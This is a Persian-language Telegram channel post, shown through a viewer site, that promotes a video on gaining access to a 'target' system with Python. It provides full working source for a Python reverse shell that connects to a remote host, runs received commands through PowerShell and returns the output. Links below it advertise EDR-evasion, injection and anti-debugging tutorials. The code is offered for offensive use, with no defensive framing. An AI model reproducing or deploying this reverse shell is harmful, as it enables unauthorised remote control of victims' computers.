TGViewer
DarkBit DarkBit @darkbitx · 1.65K subscribers
Post #35 1.66K
DarkBit Reverseshell With Python 💀 ========================== خب رفقا یه ویدیو خفن دیگه واستون دارم تو این ویدیو باهم یاد میگیریم که چطور میتونیم با استفاده از #Python بیاین و به سیستم تارگتتون دسترسی بگیرین 👾 و درضمن با تغییر #Flow برنامه و اضافه کردن یه چند متد…
Reverseshell Source Code: 👇🏼
########################################################
# Telegram: @DarkBitx | Github: @DarkBitx | Support us #
########################################################

import subprocess,socket

def connection(RHOST:str,RPORT:int):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
return s

def recive(conn) -> str:
cmd = conn.recv(1024).decode()
return cmd

def execute(cmd) -> str:
try:
result = subprocess.check_output(['powershell','-c',cmd],shell=True, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
result = e.output
return result.decode()

def send(conn,data:str):
conn.send(data.encode())

def main():
IP = 'Kerm Narizid :)'
PORT = 666
conn = connection(IP,PORT)

while True:
cmd = recive(conn)
output = execute(cmd)
send(conn,output)

if __name__ == '__main__':
main()
‍‍‍‍
  • ❤‍🔥 10
  • ❤ 4
More from @darkbitx
  1. Oct 18, 2026PhantomBuffer: Effective EDR Evasion Through Stealth Injection In this article, I’ll intro…
  2. Oct 18, 2026#تبلیغات
  3. Oct 17, 2026📌 فایل‌‌های قسمت پانزدهم Password: @DarkBitx
  4. Oct 17, 2026‏🎯 InjectionOps2 | قسمت پانزدهم 🚫 Anti-Debugging در این قسمت با مفهوم Anti-Debugging…
  5. Oct 10, 2026📌 فایل‌‌های قسمت دوازدهم Password: @DarkBitx
  6. Oct 10, 2026‏🎯 InjectionOps2 | قسمت دوازدهم 🦠 IAT Hiding | API Hashing در این قسمت با مفهوم API…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →